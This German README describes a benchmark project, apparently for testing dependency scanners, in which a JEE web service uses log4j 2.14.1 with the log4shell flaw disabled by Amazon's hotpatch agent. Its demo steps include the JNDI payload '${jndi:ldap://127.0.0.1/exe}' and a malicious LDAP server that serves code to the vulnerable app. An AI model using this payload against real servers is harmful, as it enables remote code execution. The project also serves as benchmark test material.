
JEE-Webprojekt mit bereinigter log4shell (CVE-2021-44228)-Schwachstelle
Dies ist ein einfaches Webprojekt mit einer bereinigten log4shell-Schwachstelle. Für eine unbereinigte Version siehe https://github.com/scabench/l4j-tp1/.
Das Projekt definiert einen einfachen scabench.HelloWorldService-Get-Service, der einen Klartext-String hello world zurückgibt.
Der Service erwartet keine Parameter, und wenn Parameter auftreten, wird ein Fehler protokolliert.
Die anfällige Abhängigkeit ist org.apache.logging.log4j:log4j-core:2.14.1, die Schwachstelle ist CVE-2021-44228.
Das Projekt verwendet einen von Amazon erstellten Agenten, als log4shell auftauchte und noch kein Patch verfügbar war.
Der Agent deaktiviert die anfällige Klasse org.apache.logging.log4j.core.lookup.JndiLookup.
Die Verwendung des Agenten wird erzwungen, indem der Agent dynamisch installiert (auch bekannt als angehängt) wird, wenn scabench.HelloWorldService geladen wird (im statischen Block der Klasse), wenn dies fehlschlägt, stürzt die Anwendung ab. Dies erfordert, dass die JVM das Selbstanhängen von Agenten aktiviert.
export MAVEN_OPTS="-Djdk.attach.allowAttachSelf=true"mvn jetty:runjava -jar dodgy-ldap-server.jar (der anfällige Code lädt Java-Code von diesem Server herunter)http://localhost:8080/ richten; diese Seite enthält ein vorausgefülltes Formular mit einer schädlichen Nutzlast ${jndi:ldap://127.0.0.1/exe}foo auf dem Server erstellt (wie es die un-bereinigte Version) tut)Beachten Sie, dass beim Ausführen der Anwendung die folgende Zeile auf der Konsole erscheint:
Transforming org/apache/logging/log4j/core/lookup/JndiLookup .
Dies erfordert Unix oder macOS. Es ist einfach, dieses Projekt auf Windows zu portieren. Es wird ein Unit-Test bereitgestellt, um die Schwachstelle zu demonstrieren; das Setup ist das gleiche wie in https://github.com/scabench/l4j-tp1/. Aufgrund der Bereinigung schlägt der Test nun fehl.
Es gibt mehrere sh-Skripte, um verschiedene Analysen durchzuführen; Ergebnisberichte finden Sie in scan-results.